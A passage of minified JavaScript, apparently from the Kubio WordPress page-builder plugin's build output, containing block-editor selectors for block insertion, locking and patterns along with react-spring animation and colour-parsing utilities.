an(e){return!!e.draggedBlocks.length}function sn(e){return e.draggedBlocks}function un(e,t){return e.draggedBlocks.includes(t)}function dn(e,t){return!!an(e)&&Bt(e,t).some((t=>un(e,t)))}function bn(){return b()('wp.data.select( "core/block-editor" ).isCaretWithinFormattedText',{since:"6.1",version:"6.3"}),!1}const pn=Object(Ze.a)((e=>{let t,n;const{insertionPoint:o,selection:{selectionEnd:r}}=e;if(null!==o)return o;const{clientId:l}=r;return l?(t=wt(e,l)||void 0,n=Zt(e,r.clientId)+1):n=Xt(e).length,{rootClientId:t,index:n}}),(e=>[e.insertionPoint,e.selection.selectionEnd.clientId,e.blocks.parents,e.blocks.order]));function mn(e){return null!==e.insertionPoint}function fn(e){return e.template.isValid}function gn(e){return e.settings.template}function hn(e,t){var n,o,r;return t?null!==(n=null===(o=Wn(e,t))||void 0===o?void 0:o.templateLock)&&void 0!==n&&n:null!==(r=e.settings.templateLock)&&void 0!==r&&r}const vn=function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return"boolean"==typeof e?e:Array.isArray(e)?!(!e.includes("core/post-content")||null!==t)||e.includes(t):n},On=function(e,t){let n,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;if(t&&"object"==typeof t?(n=t,t=n.name):n=Object(u.getBlockType)(t),!n)return!1;const{allowedBlockTypes:r}=Kn(e);if(!vn(r,t,!0))return!1;if(hn(e,o))return!1;const l=Wn(e,o);if(o&&void 0===l)return!1;const c=null==l?void 0:l.allowedBlocks,i=vn(c,t),a=n.parent,s=rt(e,o),d=vn(a,s);let b=!0;const p=n.ancestor;p&&(b=[o,...Bt(e,o)].some((t=>vn(p,rt(e,t)))));const m=b&&(null===i&&null===d||!0===i||!0===d);return m?Object(Je.applyFilters)("blockEditor.__unstableCanInsertBlockType",m,n,o,{getBlock:it.bind(null,e),getBlockParentsByBlockName:It.bind(null,e)}):m},kn=Object(Ze.a)(On,((e,t,n)=>[e.blockListSettings[n],e.blocks.byClientId.get(n),e.settings.allowedBlockTypes,e.settings.templateLock]));function jn(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return t.every((t=>kn(e,rt(e,t),n)))}function yn(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const o=ct(e,t);if(null===o)return!0;const{lock:r}=o,l=!!hn(e,n);return void 0===r||void 0===(null==r?void 0:r.remove)?!l:!(null!=r&&r.remove)}function En(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return t.every((t=>yn(e,t,n)))}function Sn(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const o=ct(e,t);if(null===o)return;const{lock:r}=o,l="all"===hn(e,n);return void 0===r||void 0===(null==r?void 0:r.move)?!l:!(null!=r&&r.move)}function Cn(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return t.every((t=>Sn(e,t,n)))}function wn(e,t){const n=ct(e,t);if(null===n)return!0;const{lock:o}=n;return!(null!=o&&o.edit)}function Bn(e,t){var n;return!!Object(u.hasBlockSupport)(t,"lock",!0)&&!(null===(n=e.settings)||void 0===n||!n.canLockBlocks)}function In(e,t){var n,o;return null!==(n=null===(o=e.preferences.insertUsage)||void 0===o?void 0:o[t])&&void 0!==n?n:null}const xn=(e,t,n)=>!!Object(u.hasBlockSupport)(t,"inserter",!0)&&On(e,t.name,n),Tn=(e,t)=>{if(!e)return t;const n=Date.now()-e;switch(!0){case n<36e5:return 4*t;case n<864e5:return 2*t;case n<6048e5:return t/2;default:return t/4}},Nn=(e,t)=>{let{buildScope:n="inserter"}=t;return t=>{const o=t.name;let r=!1;Object(u.hasBlockSupport)(t.name,"multiple",!0)||(r=gt(e,pt(e)).some((e=>{let{name:n}=e;return n===t.name})));const{time:l,count:c=0}=In(e,o)||{},i={id:o,name:t.name,title:t.title,icon:t.icon,isDisabled:r,frecency:Tn(l,c)};if("transform"===n)return i;const a=Object(u.getBlockVariations)(t.name,"inserter");return{...i,initialAttributes:{},description:t.description,category:t.category,keywords:t.keywords,variations:a,example:t.example,utility:1}}},Mn=Object(Ze.a)((function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;const n=Nn(e,{buildScope:"inserter"}),o=/^\s*<!--\s+(\/)?wp:([a-z][a-z0-9_-]*\/)?([a-z][a-z0-9_-]*)\s+({(?:(?=([^}]+|}+(?=})|(?!}\s+\/?-->)[^])*)\5|[^]*?)}\s+)?(\/)?-->/,r=Object(u.getBlockTypes)().filter((n=>xn(e,n,t))).map(n),l=On(e,"core/block",t)?Jn(e).map((t=>{let n=tt;if("web"===g.Platform.OS){const e=("string"==typeof t.content.raw?t.content.raw:t.content).match(o);if(e){const[,,t="core/",o]=e,r=Object(u.getBlockType)(t+o);r&&(n=r.icon)}}const r=`core/block/${t.id}`,{time:l,count:c=0}=In(e,r)||{},i=Tn(l,c);return{id:r,name:"core/block",initialAttributes:{ref:t.id},title:t.title.raw,icon:n,category:"reusable",keywords:[],isDisabled:!1,utility:1,frecency:i}})):[],c=r.reduce(((t,n)=>{const{variations:o=[]}=n;if(o.some((e=>{let{isDefault:t}=e;return t}))||t.push(n),o.length){const r=((e,t)=>n=>{const o=`${t.id}/${n.name}`,{time:r,count:l=0}=In(e,o)||{};return{...t,id:o,icon:n.icon||t.icon,title:n.title||t.title,description:n.description||t.description,category:n.category||t.category,example:n.hasOwnProperty("example")?n.example:t.example,initialAttributes:{...t.initialAttributes,...n.attributes},innerBlocks:n.innerBlocks,keywords:n.keywords||t.keywords,frecency:Tn(r,l)}})(e,n);t.push(...o.map(r))}return t}),[]),{core:i,noncore:a}=c.reduce(((e,t)=>{const{core:n,noncore:o}=e;return(t.name.startsWith("core/")?n:o).push(t),e}),{core:[],noncore:[]});return[...i,...a,...l]}),((e,t)=>[e.blockListSettings[t],e.blocks.byClientId,e.blocks.order,e.preferences.insertUsage,e.settings.allowedBlockTypes,e.settings.templateLock,Jn(e),Object(u.getBlockTypes)()])),Pn=Object(Ze.a)((function(e,t){var n;let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const r=Array.isArray(t)?t:[t],[l]=r,c=Nn(e,{buildScope:"transform"}),i=Object(u.getBlockTypes)().filter((t=>xn(e,t,o))).map(c),a=Object.fromEntries(Object.entries(i).map((e=>{let[,t]=e;return[t.name,t]})));a["*"]={frecency:1/0,id:"*",isDisabled:!1,name:"*",title:Object(p.__)("Unwrap","kubio"),icon:null===(n=a[null==l?void 0:l.name])||void 0===n?void 0:n.icon};const s=Object(u.getPossibleBlockTransformations)(r).reduce(((e,t)=>("*"===t?e.push(a["*"]):a[null==t?void 0:t.name]&&e.push(a[t.name]),e)),[]);return Object(nt.a)(s,(e=>a[e.name].frecency),"desc")}),((e,t,n)=>[e.blockListSettings[n],e.blocks.byClientId,e.preferences.insertUsage,e.settings.allowedBlockTypes,e.settings.templateLock,Object(u.getBlockTypes)()])),Ln=Object(Ze.a)((function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return!!Object(u.getBlockTypes)().some((n=>xn(e,n,t)))||On(e,"core/block",t)&&Jn(e).length>0}),((e,t)=>[e.blockListSettings[t],e.blocks.byClientId,e.settings.allowedBlockTypes,e.settings.templateLock,Jn(e),Object(u.getBlockTypes)()])),Rn=Object(Ze.a)((function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(t)return Object(u.getBlockTypes)().filter((n=>xn(e,n,t)))}),((e,t)=>[e.blockListSettings[t],e.blocks.byClientId,e.settings.allowedBlockTypes,e.settings.templateLock,Object(u.getBlockTypes)()])),An=Object(Ze.a)((function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return b()('wp.data.select( "core/block-editor" ).__experimentalGetAllowedBlocks',{alternative:'wp.data.select( "core/block-editor" ).getAllowedBlocks',since:"6.2",version:"6.4"}),Rn(e,t)}),((e,t)=>[...Rn.getDependants(e,t)])),Dn=Object(Ze.a)((function(e){var t,n;let o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(!o)return;const r=null===(t=e.blockListSettings[o])||void 0===t?void 0:t.__experimentalDefaultBlock,l=null===(n=e.blockListSettings[o])||void 0===n?void 0:n.__experimentalDirectInsert;return r&&l?"function"==typeof l?l(it(e,o))?r:null:r:void 0}),((e,t)=>[e.blockListSettings[t],e.blocks.tree.get(t)])),Fn=new Map,zn=Object(Ze.a)(((e,t)=>{const n=e.settings.__experimentalBlockPatterns.find((e=>{let{name:n}=e;return n===t}));if(!n)return null;let o=n.content;return Object(Re.isString)(o)&&(Fn.has(n.name)?o=Fn.get(n.name):(o=Object(u.parse)(n.content,{__unstableSkipMigrationLogs:!0}),Fn.set(n.name,o))),{...n,blocks:o}}),(e=>[e.settings.__experimentalBlockPatterns])),Vn=Object(Ze.a)((e=>{const t=e.settings.__experimentalBlockPatterns,{allowedBlockTypes:n}=Kn(e),o=t.filter((e=>{let{inserter:t=!0}=e;return!!t})).map((t=>{let{name:n}=t;return zn(e,n)})).filter((e=>{let{blocks:t}=e;return((e,t)=>{if("boolean"==typeof t)return t;const n=[...e];for(;n.length>0;){var o;const e=n.shift();if(!vn(t,e.name||e.blockName,!0))return!1;null===(o=e.innerBlocks)||void 0===o||o.forEach((e=>{n.push(e)}))}return!0})(t,n)}));return o}),(e=>[e.settings.__experimentalBlockPatterns,e.settings.allowedBlockTypes])),Hn=Object(Ze.a)((function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return Vn(e).filter((n=>{let{blocks:o}=n;return o.every((n=>{let{name:o}=n;return kn(e,o,t)}))}))}),((e,t)=>[e.settings.__experimentalBlockPatterns,e.settings.allowedBlockTypes,e.settings.templateLock,e.blockListSettings[t],e.blocks.byClientId.get(t)])),Gn=Object(Ze.a)((function(e,t){if(!t)return ot;const n=Hn(e,arguments.length>2&&void 0!==arguments[2]?arguments[2]:null),o=Array.isArray(t)?t:[t],r=n.filter((e=>{var t,n;return null==e||null===(t=e.blockTypes)||void 0===t||null===(n=t.some)||void 0===n?void 0:n.call(t,(e=>o.includes(e)))}));return 0===r.length?ot:r}),((e,t,n)=>[...Hn.getDependants(e,n)])),$n=Object(Ze.a)((function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;return b()('wp.data.select( "core/block-editor" ).__experimentalGetPatternsByBlockTypes',{alternative:'wp.data.select( "core/block-editor" ).getPatternsByBlockTypes',since:"6.2",version:"6.4"}),Gn(e,t,n)}),((e,t,n)=>[...Hn.getDependants(e,n)])),Un=Object(Ze.a)((function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;if(!t)return ot;if(t.some((t=>{let{clientId:n,innerBlocks:o}=t;return o.length||lo(e,n)})))return ot;const o=Array.from(new Set(t.map((e=>{let{name:t}=e;return t}))));return Gn(e,o,n)}),((e,t,n)=>[...Gn.getDependants(e,n)]));function Wn(e,t){return e.blockListSettings[t]}function Kn(e){return e.settings}function qn(e){return e.blocks.isPersistentChange}const Yn=Object(Ze.a)((function(e){return(arguments.length>1&&void 0!==arguments[1]?arguments[1]:[]).reduce(((t,n)=>e.blockListSettings[n]?{...t,[n]:e.blockListSettings[n]}:t),{})}),(e=>[e.blockListSettings])),Qn=Object(Ze.a)(((e,t)=>{var n;const o=Jn(e).find((e=>e.id===t));return o?null===(n=o.title)||void 0===n?void 0:n.raw:null}),(e=>[Jn(e)]));function Xn(e){return e.blocks.isIgnoredChange}function Zn(e){return e.lastBlockAttributesChange}function Jn(e){var t,n;return null!==(t=null==e||null===(n=e.settings)||void 0===n?void 0:n.__experimentalReusableBlocks)&&void 0!==t?t:ot}function eo(e){return"navigation"===e.editorMode}function to(e){return e.editorMode}function no(e){return e.hasBlockMovingClientId}function oo(e){return!!e.automaticChangeStatus}function ro(e,t){return e.highlightedBlock===t}function lo(e,t){return!!e.blocks.controlledInnerBlocks[t]}const co=Object(Ze.a)(((e,t)=>{if(!t.length)return null;const n=St(e);if(t.includes(rt(e,n)))return n;const o=At(e),r=It(e,n||o[0],t);return r?r[r.length-1]:null}),((e,t)=>[e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId,t]));function io(e,t,n){var o;const{lastBlockInserted:r}=e;return(null===(o=r.clientIds)||void 0===o?void 0:o.includes(t))&&r.source===n}function ao(e,t){var n,o;return null===(n=null===(o=e.blockVisibility)||void 0===o?void 0:o[t])||void 0===n||n}const so=Object(Ze.a)((e=>new Set(Object.keys(e.blockVisibility).filter((t=>e.blockVisibility[t])))),(e=>[e.blockVisibility])),uo=Object(Ze.a)(((e,t)=>{let n,o=t;for(;e.blocks.parents.has(o);)o=e.blocks.parents.get(o),"contentOnly"===hn(e,o)&&(n=o);return n}),(e=>[e.blocks.parents,e.blockListSettings]));function bo(e){return e.temporarilyEditingAsBlocks}function po(e,t){if(!wn(e,t))return!0;const n=to(e);if("zoom-out"===n&&t&&!wt(e,t))return!0;const o=Object(u.hasBlockSupport)(rt(e,t),"__experimentalDisableBlockOverlay",!1);return("navigation"===n||!o&&lo(e,t))&&!Jt(e,t)&&!en(e,t,!0)}function mo(e,t){let n=e.blocks.parents[t];for(;n;){if(po(e,n))return!0;n=e.blocks.parents[n]}return!1}function fo(e,t){var n;const{lastBlockRemoved:o}=e;return null===(n=o.clientIds)||void 0===n?void 0:n.includes(t)}var go,ho,vo,Oo;const ko={reducer:Xe,selectors:c,actions:r},jo=Object(i.createReduxStore)(xe.a,{...ko,persist:["preferences"]}),_o=Object(i.registerStore)(xe.a,{...ko,persist:["preferences"]});null===(go=Object(a.c)(_o))||void 0===go||null===(ho=go.registerPrivateActions)||void 0===ho||ho.call(go,o),null===(vo=Object(a.c)(_o))||void 0===vo||null===(Oo=vo.registerPrivateSelectors)||void 0===Oo||Oo.call(vo,l)},,,function(e,t){!function(){e.exports=this.kubio.icons}()},function(e,t,n){e.exports=n(183)()},function(e,t){!function(){e.exports=this.kubio.utils}()},function(e,t,n){"use strict";n.d(t,"w",(function(){return r})),n.d(t,"a",(function(){return Oe})),n.d(t,"b",(function(){return R})),n.d(t,"c",(function(){return je})),n.d(t,"d",(function(){return ve})),n.d(t,"e",(function(){return W})),n.d(t,"f",(function(){return de})),n.d(t,"g",(function(){return xe})),n.d(t,"h",(function(){return y})),n.d(t,"i",(function(){return Re})),n.d(t,"j",(function(){return Pe})),n.d(t,"k",(function(){return C})),n.d(t,"l",(function(){return w})),n.d(t,"m",(function(){return I})),n.d(t,"n",(function(){return x})),n.d(t,"o",(function(){return V})),n.d(t,"p",(function(){return he})),n.d(t,"q",(function(){return ge})),n.d(t,"r",(function(){return fe})),n.d(t,"s",(function(){return E})),n.d(t,"t",(function(){return Ae})),n.d(t,"u",(function(){return S})),n.d(t,"v",(function(){return _})),n.d(t,"x",(function(){return _e})),n.d(t,"y",(function(){return B})),n.d(t,"z",(function(){return ze})),n.d(t,"A",(function(){return $e})),n.d(t,"B",(function(){return He})),n.d(t,"C",(function(){return De})),n.d(t,"D",(function(){return Ge}));let o=v();const r=e=>m(e,o);let l=v();r.write=e=>m(e,l);let c=v();r.onStart=e=>m(e,c);let i=v();r.onFrame=e=>m(e,i);let a=v();r.onFinish=e=>m(e,a);let s=[];r.setTimeout=(e,t)=>{let n=r.now()+t,o=()=>{let e=s.findIndex((e=>e.cancel==o));~e&&s.splice(e,1),k.count-=~e?1:0},l={time:n,handler:e,cancel:o};return s.splice(u(n),0,l),k.count+=1,f(),l};let u=e=>~(~s.findIndex((t=>t.time>e))||~s.length);r.cancel=e=>{o.delete(e),l.delete(e)},r.sync=e=>{p=!0,r.batchedUpdates(e),p=!1},r.throttle=e=>{let t;function n(){try{e(...t)}finally{t=null}}function o(...e){t=e,r.onStart(n)}return o.handler=e,o.cancel=()=>{c.delete(n),t=null},o};let d="undefined"!=typeof window?window.requestAnimationFrame:()=>{};r.use=e=>d=e,r.now="undefined"!=typeof performance?()=>performance.now():Date.now,r.batchedUpdates=e=>e(),r.catch=console.error,r.frameLoop="always",r.advance=()=>{"demand"!==r.frameLoop?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):h()};let b=-1,p=!1;function m(e,t){p?(t.delete(e),e(0)):(t.add(e),f())}function f(){b<0&&(b=0,"demand"!==r.frameLoop&&d(g))}function g(){~b&&(d(g),r.batchedUpdates(h))}function h(){let e=b;b=r.now();let t=u(b);t&&(O(s.splice(0,t),(e=>e.handler())),k.count-=t),c.flush(),o.flush(e?Math.min(64,b-e):16.667),i.flush(),l.flush(),a.flush()}function v(){let e=new Set,t=e;return{add(n){k.count+=t!=e||e.has(n)?0:1,e.add(n)},delete:n=>(k.count-=t==e&&e.has(n)?1:0,e.delete(n)),flush(n){t.size&&(e=new Set,k.count-=t.size,O(t,(t=>t(n)&&e.add(t))),k.count+=e.size,t=e)}}}function O(e,t){e.forEach((e=>{try{t(e)}catch(e){r.catch(e)}}))}const k={count:0,clear(){b=-1,s=[],c=v(),o=v(),i=v(),l=v(),a=v(),k.count=0}};var j=n(10);function _(){}const y=(e,t,n)=>Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),E={arr:Array.isArray,obj:e=>!!e&&"Object"===e.constructor.name,fun:e=>"function"==typeof e,str:e=>"string"==typeof e,num:e=>"number"==typeof e,und:e=>void 0===e};function S(e,t){if(E.arr(e)){if(!E.arr(t)||e.length!==t.length)return!1;for(let n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}return e===t}const C=(e,t)=>e.forEach(t);function w(e,t,n){if(E.arr(e))for(let o=0;o<e.length;o++)t.call(n,e[o],`${o}`);else for(const o in e)e.hasOwnProperty(o)&&t.call(n,e[o],o)}const B=e=>E.und(e)?[]:E.arr(e)?e:[e];function I(e,t){if(e.size){const n=Array.from(e);e.clear(),C(n,t)}}const x=(e,...t)=>I(e,(e=>e(...t)));let T,N,M=null,P=!1,L=_;var R=Object.freeze({__proto__:null,get createStringInterpolator(){return T},get to(){return N},get colors(){return M},get skipAnimation(){return P},get willAdvance(){return L},assign:e=>{e.to&&(N=e.to),e.now&&(r.now=e.now),void 0!==e.colors&&(M=e.colors),null!=e.skipAnimation&&(P=e.skipAnimation),e.createStringInterpolator&&(T=e.createStringInterpolator),e.requestAnimationFrame&&r.use(e.requestAnimationFrame),e.batchedUpdates&&(r.batchedUpdates=e.batchedUpdates),e.willAdvance&&(L=e.willAdvance),e.frameLoop&&(r.frameLoop=e.frameLoop)}});const A=new Set;let D=[],F=[],z=0;const V={get idle(){return!A.size&&!D.length},start(e){z>e.priority?(A.add(e),r.onStart(H)):(G(e),r(U))},advance:U,sort(e){if(z)r.onFrame((()=>V.sort(e)));else{const t=D.indexOf(e);~t&&(D.splice(t,1),$(e))}},clear(){D=[],A.clear()}};function H(){A.forEach(G),A.clear(),r(U)}function G(e){D.includes(e)||$(e)}function $(e){D.splice(function(t,n){const o=t.findIndex((t=>t.priority>e.priority));return o<0?t.length:o}(D),0,e)}function U(e){const t=F;for(let n=0;n<D.length;n++){const o=D[n];z=o.priority,o.idle||(L(o),o.advance(e),o.idle||t.push(o))}return z=0,F=D,F.length=0,D=t,D.length>0}const W={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199},K="[-+]?\\d*\\.?\\d+",q=K+"%";function Y(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}const Q=new RegExp("rgb"+Y(K,K,K)),X=new RegExp("rgba"+Y(K,K,K,K)),Z=new RegExp("hsl"+Y(K,q,q)),J=new RegExp("hsla"+Y(K,q,q,K)),ee=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,te=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,ne=/^#([0-9a-fA-F]{6})$/,oe=/^#([0-9a-fA-F]{8})$/;function re(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function le(e,t,n){const o=n<.5?n*(1+t):n+t-n*t,r=2*n-o,l=re(r,o,e+1/3),c=re(r,o,e),i=re(r,o,e-1/3);return Math.round(255*l)<<24|Math.round(255*c)<<16|Math.round(255*i)<<8}function ce(e){const t=parseInt(e,10);return t<0?0:t>255?255:t}function ie(e){return(parseFloat(e)%360+360)%360/360}function ae(e){const t=parseFloat(e);return t<0?0:t>1?255:Math.round(255*t)}function se(e){const t=parseFloat(e);return t<0?0:t>100?1:t/100}function ue(e){let t=function(e){let t;return"number"==typeof e?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=ne.exec(e))?parseInt(t[1]+"ff",16)>>>0:M&&void 0!==M[e]?M[e]:(t=Q.exec(e))?(ce(t[1])<<24|ce(t[2])<<16|ce(t[3])<<8|255)>>>0:(t=X.exec(e))?(ce(t[1])<<24|ce(t[2])<<16|ce(t[3])<<8|ae(t[4]))>>>0:(t=ee.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=oe.exec(e))?parseInt(t[1],16)>>>0:(t=te.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=Z.exec(e))?(255|le(ie(t[1]),se(t[2]),se(t[3])))>>>0:(t=J.exec(e))?(le(ie(t[1]),se(t[2]),se(t[3]))|ae(t[4]))>>>0:null}(e);return null===t?e:(t=t||0,`rgba(${(4278190080&t)>>>24}, ${(16711680&t)>>>16}, ${(65280&t)>>>8}, ${(255&t)/255})`)}const de=(e,t,n)=>{if(E.fun(e))return e;if(E.arr(e))return de({range:e,output:t,extrapolate:n});if(E.str(e.output[0]))return T(e);const o=e,r=o.output,l=o.range||[0,1],c=o.extrapolateLeft||o.extrapolate||"extend",i=o.extrapolateRight||o.extrapolate||"extend",a=o.easing||(e=>e);return e=>{const t=function(e,t){for(var n=1;n<t.length-1&&!(t[n]>=e);++n);return n-1}(e,l);return function(e,t,n,o,r,l,c,i,a){let s=a?a(e):e;if(s<t){if("identity"===c)return s;"clamp"===c&&(s=t)}if(s>n){if("identity"===i)return s;"clamp"===i&&(s=n)}return o===r?o:t===n?e<=t?o:r:(t===-1/0?s=-s:n===1/0?s-=t:s=(s-t)/(n-t),s=l(s),o===-1/0?s=-s:r===1/0?s+=o:s=s*(r-o)+o,s)}(e,l[t],l[t+1],r[t],r[t+1],a,c,i,o.map)}};function be(){return be=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},be.apply(this,arguments)}const pe=Symbol.for("FluidValue.get"),me=Symbol.for("FluidValue.observers"),fe=e=>Boolean(e&&e[pe]),ge=e=>e&&e[pe]?e[pe]():e,he=e=>e[me]||null;function ve(e,t){let n=e[me];n&&n.forEach((e=>{!function(e,t){e.eventObserved?e.eventObserved(t):e(t)}(e,t)}))}class Oe{constructor(e){if(this[pe]=void 0,this[me]=void 0,!e&&!(e=this.get))throw Error("Unknown getter");ke(this,e)}}const ke=(e,t)=>ye(e,pe,t);function je(e,t){if(e[pe]){let n=e[me];n||ye(e,me,n=new Set),n.has(t)||(n.add(t),e.observerAdded&&e.observerAdded(n.size,t))}return t}function _e(e,t){let n=e[me];if(n&&n.has(t)){const o=n.size-1;o?n.delete(t):e[me]=null,e.observerRemoved&&e.observerRemoved(o,t)}}const ye=(e,t,n)=>Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),Ee=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,Se=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,Ce=new RegExp(`(${Ee.source})(%|[a-z]+)`,"i");let we;const Be=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,Ie=(e,t,n,o,r)=>`rgba(${Math.round(t)}, ${Math.round(n)}, ${Math.round(o)}, ${r})`,xe=e=>{we||(we=M?new RegExp(`(${Object.keys(M).join("|")})(?!\\w)`,"g"):/^\b$/);const t=e.output.map((e=>ge(e).replace(Se,ue).replace(we,ue))),n=t.map((e=>e.match(Ee).map(Number))),o=n[0].map(((e,t)=>n.map((e=>{if(!(t in e))throw Error('The arity of each "output" value must be equal');return e[t]})))).map((t=>de(be({},e,{output:t}))));return e=>{var n;const r=!Ce.test(t[0])&&(null==(n=t.find((e=>Ce.test(e))))?void 0:n.replace(Ee,""));let l=0;return t[0].replace(Ee,(()=>`${o[l++](e)}${r||""}`)).replace(Be,Ie)}},Te="react-spring: ",Ne=e=>{const t=e;let n=!1;if("function"!=typeof t)throw new TypeError(`${Te}once requires a function parameter`);return(...e)=>{n||(t(...e),n=!0)}},Me=Ne(console.warn);function Pe(){Me(`${Te}The "interpolate" function is deprecated in v9 (use "to" instead)`)}const Le=Ne(console.warn);function Re(){Le(`${Te}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function Ae(e){return E.str(e)&&("#"==e[0]||/\d/.test(e)||e in(M||{}))}const De=e=>Object(j.useEffect)(e,Fe),Fe=[];function ze(){const e=Object(j.useState)()[1],t=Object(j.useState)(Ve)[0];return De(t.unmount),()=>{t.current&&e({})}}function Ve(){const e={current:!0,unmount:()=>()=>{e.current=!1}};return e}function He(e,t){const[n]=Object(j.useState)((()=>({inputs:t,result:e()}))),o=Object(j.useRef)(),r=o.current;let l=r;return l?Boolean(t&&l.inputs&&function(e,t){if(e.length!==t.length)return!1;for(let n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}(t,l.inputs))||(l={inputs:t,result:e()}):l=n,Object(j.useEffect)((()=>{o.current=l,r==n&&(n.inputs=n.result=void 0)}),[l]),l.result}function Ge(e){const t=Object(j.useRef)();return Object(j.useEffect)((()=>{t.current=e})),t.current}const $e="undefined"!=typeof window&&window.document&&window.document.createElement?j.useLayoutEffect:j.useEffect},,,function(e,t){!function(){e.exports=this.wp.hooks}()},function(e,t){!function(){e.exports=this.kubio.constants}()},,,function(e,t){!function(){e.exports=this.wp.keycodes}()},,function(e,t){!function(){e.exports=this.kubio.pro}()},function(e,t,n){"use strict";n.d(t,"a",(function(){return p}));var o=n(2),r=n(7),l=n(12),c=n(23),i=n(106),a=n(14);const s=["color","border","dimensions","typography","spacing"],u={"color.palette":e=>e.colors,"color.gradients":e=>e.gradients,"color.custom":e=>void 0===e.disableCustomColors?void 0:!e.disableCustomColors,"color.customGradient":e=>void 0===e.disableCustomGradients?void 